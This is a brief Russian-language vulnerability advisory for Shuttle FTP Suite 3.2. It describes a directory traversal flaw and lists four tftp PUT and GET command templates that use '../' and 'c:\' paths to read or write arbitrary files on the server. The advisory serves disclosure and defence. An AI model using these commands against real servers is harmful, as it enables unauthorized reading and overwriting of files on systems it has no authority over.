Программа: Shuttle FTP Suite 3.2
Уязвимость обхода каталога обнаружена в Shuttle FTP Suite. Удаленный пользователь может читать и записывать файлы на целевой системе.
Удаленный пользователь может использовать сдедующие tftp команды чтобы записывать или читать произвольные файлы:
tftp -i [Server_IP] PUT [FileName] ../[FileName]
tftp -i [Server_IP] PUT [FileName] c:\[FileName]
tftp -i [Server_IP] GET ../[FileName]
tftp -i [Server_IP] GET c:\[FileName]
